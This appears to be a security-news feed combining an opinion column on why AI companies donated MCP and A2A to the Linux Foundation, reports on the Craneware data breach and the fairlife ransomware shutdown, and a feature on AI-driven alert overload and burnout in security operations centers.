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<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
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<title><![CDATA[Craneware Confirms Data Breach, Employee Records Among Exposed Data]]></title>
<description><![CDATA[Craneware plc has disclosed a Craneware data breach after detecting unauthorized access to a portion of its data environment. The company confirmed on 20 July 2026 that it is investigating the incident with the support of external cybersecurity and forensic experts. 

Although the cyberattack o...]]></description>
<link>https://tsecurity.de/de/3680573/it-security-nachrichten/craneware-confirms-data-breach-employee-records-among-exposed-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680573/it-security-nachrichten/craneware-confirms-data-breach-employee-records-among-exposed-data/</guid>
<pubDate>Mon, 20 Jul 2026 10:24:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1250" height="765" src="https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Craneware data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach.webp 1250w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-1024x627.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-768x470.webp 768w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-600x367.webp 600w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-750x459.webp 750w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-1140x698.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach.webp 1250w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-1024x627.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-768x470.webp 768w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-600x367.webp 600w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-750x459.webp 750w, https://thecyberexpress.com/wp-content/uploads/Craneware-data-breach-1140x698.webp 1140w" sizes="(max-width: 1250px) 100vw, 1250px" title="Craneware Confirms Data Breach, Employee Records Among Exposed Data 1"></p><span data-contrast="auto">Craneware plc has disclosed a Craneware data breach after detecting unauthorized access to a portion of its data environment. The company confirmed on 20 July 2026 that it is investigating the incident with the support of external cybersecurity and forensic experts.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Although the cyberattack on Craneware resulted in <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29043">data</a> being viewed and exfiltrated, the company said the incident has been contained and has not disrupted customer services or business operations.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Craneware Cyberattack Contained, Investigation Underway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the <a href="https://www.investegate.co.uk/announcement/rns/craneware--crw/notice-of-cyber-security-incident/9675808" target="_blank" rel="nofollow noopener">company's official notice</a>, the Craneware cyberattack prompted the activation of its incident response plan immediately after the unauthorized access was identified. The Board appointed external cybersecurity and forensic specialists, who are working alongside Craneware's internal IT team and retained <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29044">security</a> providers to determine the full scope of the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company stated that investigators have found no remaining indicators of compromise within its systems. Despite the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29045">data breach</a> at Craneware, normal operations have continued without interruption.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Data Breach at Craneware Exposed Employee and Customer Records</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Initial findings indicate that attackers viewed and exfiltrated a significant volume of file names. Craneware's current assessment suggests that much of the affected information consists of non-sensitive or publicly available regulatory data. However, the <a href="https://thecyberexpress.com/tiktok-age-verification-probe-launched-by-uk/" target="_blank" rel="noopener">investigation</a> has also confirmed that a percentage of employee data, along with a subset of customer and partner records, was accessed and exfiltrated during the Craneware data breach.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The organization is continuing to examine the precise nature and extent of the compromised data. It is also working with advisers to identify affected individuals and organizations, prepare notifications where necessary, and meet all applicable regulatory obligations. Craneware added that it will provide further updates to the market as additional information becomes available.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As part of its response to the data breach at Craneware, the company has notified relevant regulators and law enforcement agencies. These include the UK's Information Commissioner's Office (ICO) and the US Federal Bureau of Investigation (FBI).</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Craneware to Notify Affected Parties as Assessment Continues</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">In its official <a class="wpil_keyword_link" href="https://cyble.com/announcement/" target="_blank" rel="noopener" title="announcement" data-wpil-keyword-link="linked" data-wpil-monitor-id="29046">announcement</a>, Craneware said: "The incident has been contained, and there has been no disruption to customer services or to the Company's operations. The external specialists have confirmed that there are no residual indicators of compromise arising from the cybersecurity incident in the Company's systems."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company further stated: "Investigations so far have established that a significant volume of file names were viewed and exfiltrated. The current assessment is that a large element of the data involved is non-sensitive or already public regulatory data. A percentage of Craneware employee data as well as a subset of customer and partner records, have been accessed and exfiltrated."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The notice also stated: "This announcement contains inside information as stipulated under the UK version of the Market Abuse Regulation No 596/2014, which is part of English Law by virtue of the European (Withdrawal) Act 2018, as amended. On publication of this announcement via a Regulatory Information Service, this information is considered to be in the public domain."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">While the investigation into the cyberattack on Craneware remains ongoing, the company said it will continue assessing the impact of the cyberattack and issue further <a href="https://thecyberexpress.com/chrome-beta-chrome-151-desktop-update-rollout/" target="_blank" rel="noopener">updates</a> as appropriate.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
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<title><![CDATA[Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended]]></title>
<description><![CDATA[The Fairlife ransomware attack has temporarily halted production operations at Coca-Cola-owned dairy company fairlife in the United States after unauthorized access was detected in a portion of its systems, including production-related systems.

According to The Coca-Cola Company, fairlife iden...]]></description>
<link>https://tsecurity.de/de/3680444/it-security-nachrichten/fairlife-ransomware-attack-hits-production-systems-us-operations-suspended/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680444/it-security-nachrichten/fairlife-ransomware-attack-hits-production-systems-us-operations-suspended/</guid>
<pubDate>Mon, 20 Jul 2026 08:52:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Fairlife ransomware attack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Fairlife-ransomware-attack-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended 3"></p>The Fairlife ransomware attack has temporarily halted production operations at <a href="https://thecyberexpress.com/bottling-coca-cola-under-cyber-attack-ransom/" target="_blank" rel="noopener">Coca-Cola</a>-owned dairy company fairlife in the United States after unauthorized access was detected in a portion of its systems, including production-related systems.

According to The Coca-Cola Company, fairlife identified unauthorized access by a third party in connection with a ransomware event. Following the discovery, the company activated its incident response and business continuity protocols while launching an investigation with the support of external advisors and cybersecurity experts. Law enforcement has also been notified.

The company said the investigation is ongoing and that the full scope, nature, and impact of the incident are not yet known.
<h3><strong>Fairlife Ransomware Attack Suspends U.S. Production</strong></h3>
The Fairlife <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29036">ransomware</a> attack has resulted in the temporary suspension of production operations at fairlife facilities across the United States. However, the company stated that product quality and safety have not been affected by the incident.

According to the <a href="https://fairlife.com/news/technology-disruption-fairlife-operations/" target="_blank" rel="nofollow noopener">company's statement</a>, fairlife's production operations in Canada remain operational and have not been impacted by the ransomware event.

The Coca-Cola Company also confirmed in a Form 8-K filing dated July 16, 2026, that fairlife detected the unauthorized access on Thursday. The <a href="https://www.sec.gov/Archives/edgar/data/21344/000162828026048466/ko-20260716.htm" target="_blank" rel="nofollow noopener">filing reiterated</a> that the company immediately activated its incident response procedures and business continuity protocols after identifying the intrusion.

While the company continues to assess the incident, it said it has not yet determined whether the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-ransomware-how-it-work/" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29038">ransomware</a> attack is reasonably likely to materially affect its business because the full impact remains unknown.

The company added that it is working to complete its investigation and restore affected systems and production operations as quickly as possible.
<h3><strong>Investigation Into Unauthorized Access Continues</strong></h3>
The ongoing investigation is being conducted with assistance from outside <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29034">cybersecurity</a> experts. According to the company, the incident involved unauthorized access to a portion of fairlife's systems, including systems related to production.

At this stage, The Coca-Cola Company has not disclosed how the attackers gained access, whether any <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29037">data</a> was compromised, or if a ransomware group has claimed responsibility for the attack.

The company emphasized that its assessment is still underway and that additional details will be shared as more information becomes available.
<h3><strong>Food and Beverage Sector Faces Growing Cybersecurity Risks</strong></h3>
The food and beverage <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29035">cyberattack</a> trend has continued to affect manufacturers and logistics providers worldwide in recent months.

